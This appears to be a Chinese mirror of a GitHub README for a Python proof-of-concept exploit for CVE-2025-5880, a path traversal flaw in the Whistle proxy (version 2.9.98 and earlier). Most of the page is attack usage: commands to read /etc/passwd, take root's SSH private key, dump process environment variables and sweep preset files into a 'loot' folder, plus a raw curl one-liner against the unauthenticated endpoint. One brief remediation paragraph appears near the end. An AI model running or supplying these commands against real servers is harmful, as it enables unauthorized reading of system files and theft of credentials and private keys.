yacine-rm/CVE-2025-5880-PoC

GitHub: yacine-rm/CVE-2025-5880-PoC

针对 Whistle ≤2.9.98 路径穿越漏洞(CVE-2025-5880)的 Python PoC,实现未授权任意文件读取。

Stars: 0 | Forks: 0

# CVE-2025-5880 — Whistle 2.9.98 路径穿越 PoC ![Python](https://img.shields.io/badge/python-3.10%2B-blue?logo=python) ![CVE](https://img.shields.io/badge/CVE-2025--5880-red) ![CWE](https://img.shields.io/badge/CWE-22-orange) ![License](https://img.shields.io/badge/license-MIT-green) ## 漏洞概述 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2025-5880 | | **CWE** | CWE-22 (路径穿越) | | **受影响软件** | Whistle `≤ 2.9.98` | | **受影响端点** | `/cgi-bin/sessions/get-temp-file` | | **攻击向量** | 网络 — 无需身份验证 | | **影响** | 在主机文件系统上实现任意文件读取 | `filename` 查询参数在用于打开磁盘上的文件之前未经过清理,允许攻击者逃离预期的临时文件目录,并读取 Whistle 进程有权访问的任何文件(例如 `/etc/passwd`、`/root/.ssh/id_rsa`)。 ## 快速开始 ``` # Clone git clone https://github.com/YourHandle/CVE-2025-5880 cd CVE-2025-5880 # 无外部依赖 python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd ``` ## 使用说明 ``` python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET] [--sweep] [-o OUTPUT] [--save-dir DIR] [--timeout N] ``` | 标志 | 描述 | |---|---| | `-u / --url` | 目标的基础 URL(例如 `http://192.168.1.10:8899`) | | `-f / --file` | 要读取的任意文件路径 | | `--preset` | 命名快捷方式:`passwd shadow hosts id_rsa …` | | `--sweep` | 自动遍历所有预设 | | `-o / --output` | 将结果保存到文件 | | `--save-dir` | 从 `--sweep` 导出获取内容的目录 | | `--timeout` | HTTP 超时时间,以秒为单位(默认为 `10`) | ### 示例 ``` # 读取 /etc/passwd python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd # 获取 root 的 SSH 私钥 python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem # 读取任意路径 python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ # 扫描并保存所有预设 python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot ``` ## ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/54f496ab62095539.png) ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/832e834f5e095540.png) ## 原始 PoC (curl) ``` # /etc/passwd curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value' ``` ## 修复建议 将 Whistle 更新到能够验证并将 `filename` 参数限制在预期临时文件目录内的版本。在服务器端应用基于白名单的路径规范化(例如 `path.resolve` + 前缀检查)。 ## 免责声明
标签:CISA项目, CVE-2025-5880, CWE-22, EXP, HTTP工具, Maven, PoC, Python, Web安全, Whistle, 任意文件读取, 无后门, 暴力破解, 未授权访问, 漏洞验证, 目录穿越, 系统独立性, 网络安全, 网络安全审计, 蓝队分析, 路径遍历, 逆向工具, 隐私保护